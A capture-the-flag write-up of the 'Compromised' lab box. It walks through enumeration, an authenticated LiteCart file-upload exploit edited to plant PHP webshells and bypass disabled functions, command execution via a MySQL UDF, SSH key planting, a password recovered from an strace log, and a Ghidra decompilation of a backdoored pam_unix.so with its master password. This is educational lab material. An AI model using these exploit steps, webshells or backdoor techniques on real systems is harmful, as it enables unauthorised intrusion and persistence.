
Compromised was a fun 40 point box created by D4nch3n that covered some interesting tools and techniques. Let’s jump in.
User.txt
Nmap
A quick nmap scan reveals the following ports and services:
1
2
3
4
5
# nmap --min-rate 5000 -p- 10.10.10.207 -v --max-retries 3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
11
12
13
# nmap -sV -sC -p 22,80 10.10.10.207
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://10.10.10.207/shop/en/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Checking out http://10.10.10.207/
we’re presented with a litecart
application:

There is an appropriate exploit available but credentials are required, let’s continue with our enumeration.
Gobuster
Running gobuster against the application returns some interesting endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# gobuster dir -u http://10.10.10.207/ -w /usr/share/wordlists/dirb/common.txt -t 30
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.207/
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/01/22 10:24:40 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/.hta (Status: 403)
/index.php (Status: 302)
/server-status (Status: 403)
/shop (Status: 301)
/backup
stands out and an archive is available to download:

Code Analysis
Extract the archive:
1
2
3
4
# tar -xf a.tar.gz
# cd shop
# ls
admin cache data ext favicon.ico images includes index.php logs pages robots.txt vqmod
Checking out the admin
folder, the login.php
file had an interesing line commented out:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
require_once('../includes/app_header.inc.php');
document::$template = settings::get('store_template_admin');
document::$layout = 'login';
if (!empty($_GET['redirect_url'])) {
$redirect_url = (basename(parse_url($_REQUEST['redirect_url'], PHP_URL_PATH)) != basename(__FILE__)) ? $_REQUEST['redirect_url'] : document::link(WS_DIR_ADMIN);
} else {
$redirect_url = document::link(WS_DIR_ADMIN);
}
header('X-Robots-Tag: noindex');
document::$snippets['head_tags']['noindex'] = '<meta name="robots" content="noindex" />';
if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));
if (isset($_POST['login'])) {
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}
if (empty($_POST['username']) && !empty($_SERVER['PHP_AUTH_USER'])) $_POST['username'] = !empty($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
$page_login = new view();
$page_login->snippets = array(
'action' => $redirect_url,
);
echo $page_login->stitch('pages/login');
require_once vmod::check(FS_DIR_HTTP_ROOT . WS_DIR_INCLUDES . 'app_footer.inc.php');
We can see that the username and password of the admin login page were logged to an obscure logfile .log2301c9430d8593ae.txt
. We can access the file on the litecart application and grab the admin credentials:

litecart Exploit
With valid credentials for the admin interface we can use the exploit discovered during our initial enumeration:
1
2
3
4
5
6
7
8
9
10
# python lite.py -h
usage: lite.py [-h] [-t T] [-p P] [-u U]
LiteCart
optional arguments:
-h, --help show this help message and exit
-t T admin login page url - EX: https://IPADDRESS/admin/
-p P admin password
-u U admin username
Running the exploit you’ll notice that we don’t receive any output:
1
2
# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/731B7.php?c=id
This can be verified with curl
:
1
2
3
4
5
6
7
# curl -i http://10.10.10.207/shop/vqmod/xml/731B7.php?c=id
HTTP/1.1 200 OK
Date: Fri, 22 Jan 2021 15:45:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
I played around with the payload within the exploit with common PHP code execution functions but was unable to run remote commands on the server which implies they were blocked/disabled. It was possible however to execute phpinfo()
, file_get_contents
, get_current_user()
, and scan_dir()
by editing the payload of the litecart exploit:
1
2
3
4
5
6
7
8
9
10
files = {
'vqmod': (rand + ".php", "<?php file_get_contents(\"/etc/passwd\") ?>", "application/xml"),
'token':one,
'upload':(None,"Upload")
}
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?")
if r.status_code == 200:
print "Shell => " + url + "../vqmod/xml/" + rand + ".php?"
print r.content
Running the exploit and we get the contents of /etc/passwd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/XW6SK.php?
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false
I wasted a lot of time attempting to read/write SSH keys and get command execution. I came across this exploit when attempting to find resources on PHP execution bypasses. I added the following snippet to the top of the exploit:
1
2
3
if (isset($_GET['cmd'])) {
pwn($_GET['cmd']);
}
I then edited the litecart exploit to upload the php bypass code to the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bypasspwn = """
<PASTE EXPLOIT HERE>
"""
files = {
'vqmod': (rand + ".php", bypasspwn, "application/xml"),
'token':one,
'upload':(None,"Upload")
}
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/" + rand + ".php?cmd=id")
if r.status_code == 200:
print "Shell => " + url + "../vqmod/xml/" + rand + ".php?cmd=id"
print r.content
else:
print "Sorry something went wrong"
Running the exploit succeeds are we get code execution:
1
2
3
4
# python lite.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/UN7YW.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Webwrap
I then used webwrap to make the webshell a bit prettier:
1
2
3
4
5
6
7
8
9
10
11
12
# python3 webwrap.py http://10.10.10.207/shop/admin/../vqmod/xml/UN7YW.php?cmd=WRAP
www-data@compromised:/var/www/html/shop/vqmod/xml$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@compromised:/var/www/html/shop/vqmod/xml$ ls
731B7.php
BFWCJ.php
CRQ9T.php
UN7YW.php
XW6SK.php
index.html
Mysql
With a proper shell we can finally enumerate properly. I came across some mysql credentials in the backup archive file when initially grepping for interesting strings, the creds are in the shop/includes/config.inc.php
file and are shown below:
1
2
3
4
5
6
7
8
9
// Database
define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');
define('DB_TABLE_PREFIX', 'lc_');
define('DB_CONNECTION_CHARSET', 'utf8');
define('DB_PERSISTENT_CONNECTIONS', 'false');
As we can’t use an interactive prompt in a webshell, the mysql -e
command can be used to execute commands. Seeing if there are any UDFs present:
1
2
3
4
$ mysql -u root -pchangethis -e "select * from mysql.func;"
mysql: [Warning] Using a password on the command line interface can be insecure.
name ret dl type
exec_cmd 0 libmysql.so function
We can then execute system commands:
1
2
3
4
$ mysql -u root -pchangethis -e "select exec_cmd('id')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)
Check if we can SSH in as the mysql
user:
1
2
3
4
$ mysql -u root -pchangethis -e "select exec_cmd('ls -la /var/lib/mysql/ | grep .ssh')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('ls -la /var/lib/mysql/ | grep .ssh')
drwxrwxr-x 2 mysql mysql 4096 Sep 3 11:52 .ssh
Then write our pub key to the authorized_keys
file:
1
2
3
$ mysql -u root -pchangethis -e "select exec_cmd('echo \'ssh-rsa AAAAB3N...ci+g7kHa40= root@kali\' >> /var/lib/mysql/.ssh/authorized_keys')"
mysql: [Warning] Using a password on the command line interface can be insecure.
exec_cmd('echo \'ssh-rsa AAAAB3...
We can now SSH in as the mysql
user:
1
2
3
4
# ssh -i id_rsa mysql@10.10.10.207
mysql@compromised:~$ id
uid=111(mysql) gid=113(mysql) groups=113(mysql)
Mysql to sysadmin
Seeing what’s present in the mysql
users home dir:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql@compromised:~$ ls -la
total 189280
drwx------ 9 mysql mysql 4096 Jan 22 05:50 .
drwxr-xr-x 43 root root 4096 May 24 2020 ..
-rw-r----- 1 mysql mysql 56 May 8 2020 auto.cnf
lrwxrwxrwx 1 root root 9 May 9 2020 .bash_history -> /dev/null
-rw------- 1 mysql mysql 1680 May 8 2020 ca-key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 ca.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 client-cert.pem
-rw------- 1 mysql mysql 1676 May 8 2020 client-key.pem
-rw-r--r-- 1 root root 0 May 8 2020 debian-5.7.flag
drwxr-x--- 2 mysql mysql 12288 May 28 2020 ecom
drwx------ 3 mysql mysql 4096 May 9 2020 .gnupg
-rw-r----- 1 mysql mysql 527 Sep 12 19:57 ib_buffer_pool
-rw-r----- 1 mysql mysql 79691776 Jan 22 05:51 ibdata1
-rw-r----- 1 mysql mysql 50331648 Jan 22 05:51 ib_logfile0
-rw-r----- 1 mysql mysql 50331648 May 27 2020 ib_logfile1
-rw-r----- 1 mysql mysql 12582912 Jan 22 15:59 ibtmp1
drwxrwxr-x 3 mysql mysql 4096 May 9 2020 .local
drwxr-x--- 2 mysql mysql 4096 May 8 2020 mysql
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
drwxr-x--- 2 mysql mysql 4096 May 8 2020 performance_schema
-rw------- 1 mysql mysql 1680 May 8 2020 private_key.pem
-rw-r--r-- 1 mysql mysql 452 May 8 2020 public_key.pem
-rw-r--r-- 1 mysql mysql 1112 May 8 2020 server-cert.pem
-rw------- 1 mysql mysql 1680 May 8 2020 server-key.pem
drwxrwxr-x 2 mysql mysql 4096 Sep 3 11:52 .ssh
-r--r----- 1 root mysql 787180 May 13 2020 strace-log.dat
drwxr-x--- 2 mysql mysql 12288 May 8 2020 sys
There’s a strace log file present stracce-log.dat
. strace
captures and records all system calls made by a process. Grepping with the keyword password
provides some interesting information:
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql@compromised:~$ cat strace-log.dat | grep password
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
We can see the password 3*NLJE32I$Fe
in the call to mysql
.
Flag
Attempting to su sysadmin
with this password succeeds and we can cat
the user flag:
1
2
3
4
5
6
7
mysql@compromised:~$ su sysadmin
Password: 3*NLJE32I$Fe
sysadmin@compromised:/var/lib/mysql$ id
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin)
sysadmin@compromised:~$ cat user.txt
1def15...
Root.txt
Packages
As the box’s name is compromised, we can make the assumption that the attackers left a backdoor of some kind. We can use the dpkg -V
command to verify the integrity of all the packages installed upon the system, this works by comparing the local files to the metadata information stored in the dpkg
database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sysadmin@compromised:~$ dpkg -V 2>/dev/null
??5?????? /boot/System.map-4.15.0-99-generic
??5?????? c /etc/apache2/apache2.conf
??5?????? c /etc/apache2/sites-available/000-default.conf
??5?????? /boot/vmlinuz-4.15.0-101-generic
??5?????? c /etc/sudoers
??5?????? c /etc/sudoers.d/README
??5?????? c /etc/at.deny
??5?????? c /etc/iscsi/iscsid.conf
??5?????? /boot/vmlinuz-4.15.0-99-generic
??5?????? /bin/nc.openbsd
??5?????? /boot/System.map-4.15.0-101-generic
??5?????? /var/lib/polkit-1/localauthority/10-vendor.d/systemd-networkd.pkla
??5?????? /lib/x86_64-linux-gnu/security/pam_unix.so
??5?????? c /etc/apparmor.d/usr.sbin.mysqld
??5?????? c /etc/mysql/mysql.conf.d/mysqld.cnf
pam_unix.so
stands out and googling pam unix backdoor
returns some interesting results.
Ghidra
I downloaded the suspicious package with scp
and threw it into Ghidra. Analysing and then searching for backdoor
highlights locations were the keyword is found:

Inspecting pam_sm_authenticate
, Ghidra decompiles and presents us with the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
int pam_sm_authenticate(pam_handle_t *pamh,int flags,int argc,char **argv)
{
ulong uVar1;
uint ctrl;
int iVar2;
int iVar3;
char *prompt1;
int *__ptr;
uint uVar4;
long in_FS_OFFSET;
char *name;
void *p;
char backdoor [15];
byte local_40;
uVar1 = *(ulong *)(in_FS_OFFSET + 0x28);
local_40 = (byte)uVar1;
ctrl = _set_ctrl(pamh,flags,(int *)0x0,(int *)0x0,(int *)0x0,argc,argv);
uVar4 = ctrl & 0x40000;
if (uVar4 == 0) {
__ptr = (int *)0x0;
}
else {
__ptr = (int *)malloc(4);
}
iVar2 = pam_get_user(pamh,&name,0);
if (iVar2 == 0) {
if ((name != (char *)0x0) && ((*name - 0x2bU & 0xfd) != 0)) {
iVar3 = _unix_blankpasswd(pamh,ctrl,name);
if (iVar3 == 0) {
prompt1 = (char *)dcgettext("Linux-PAM","Password: ",5);
iVar2 = _unix_read_password(pamh,ctrl,(char *)0x0,prompt1,(char *)0x0,"-UN*X-PASS",&p);
if (iVar2 == 0) {
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
local_40 = 0;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
}
p = (void *)0x0;
}
else {
if (iVar2 == 0x1e) {
iVar2 = 0x1f;
}
else {
pam_syslog(pamh,2,"auth could not identify password for [%s]",name);
}
}
name = (char *)0x0;
if (uVar4 != 0) goto LAB_00103100;
}
else {
name = (char *)0x0;
if (uVar4 != 0) {
if (__ptr == (int *)0x0) goto LAB_00103059;
*__ptr = 0;
goto LAB_00103017;
}
}
LAB_0010304c:
if (__ptr != (int *)0x0) {
free(__ptr);
}
goto LAB_00103059;
}
pam_syslog(pamh,3,"bad username [%s]");
if (uVar4 == 0) {
if (__ptr == (int *)0x0) {
iVar2 = 10;
}
else {
iVar2 = 10;
free(__ptr);
}
goto LAB_00103059;
}
iVar2 = 10;
if (__ptr == (int *)0x0) goto LAB_00103059;
*__ptr = 10;
iVar2 = 10;
}
else {
if (iVar2 == 0x1e) {
iVar2 = 0x1f;
}
if (uVar4 == 0) goto LAB_0010304c;
LAB_00103100:
if (__ptr == (int *)0x0) goto LAB_00103059;
*__ptr = iVar2;
}
LAB_00103017:
pam_set_data(pamh,"unix_setcred_return",__ptr,setcred_free);
LAB_00103059:
if ((uVar1 & 0xffffffffffffff00 | (ulong)local_40) == *(ulong *)(in_FS_OFFSET + 0x28)) {
return iVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
The section that stands out is shown below with the string compare of the backdoor variable:
1
2
3
4
5
6
7
8
9
10
iVar2 = _unix_read_password(pamh,ctrl,(char *)0x0,prompt1,(char *)0x0,"-UN*X-PASS",&p);
if (iVar2 == 0) {
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
local_40 = 0;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
}
p = (void *)0x0;
The backdoor
variable declaration at the top also tells us the password is 15
characters long:
1
char backdoor [15];
You can either chuck the two hex strings into cyberchef, or right-click and convert to Char Sequence
. Either way, the strings are shown below:
1
2
0x4533557e656b6c7a == E3U~eklz -> zlke~U3E
0x2d326d3238766e == -2m28vn -> nv82m2-
The password is zlke~U3Env82m2-
Flag
We can simply su root
with the password and cat
the root flag:
1
2
3
4
5
6
7
sysadmin@compromised:~$ su root
Password: zlke~U3Env82m2-
root@compromised:/home/sysadmin# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:/home/sysadmin# cat /root/root.txt
68e68b...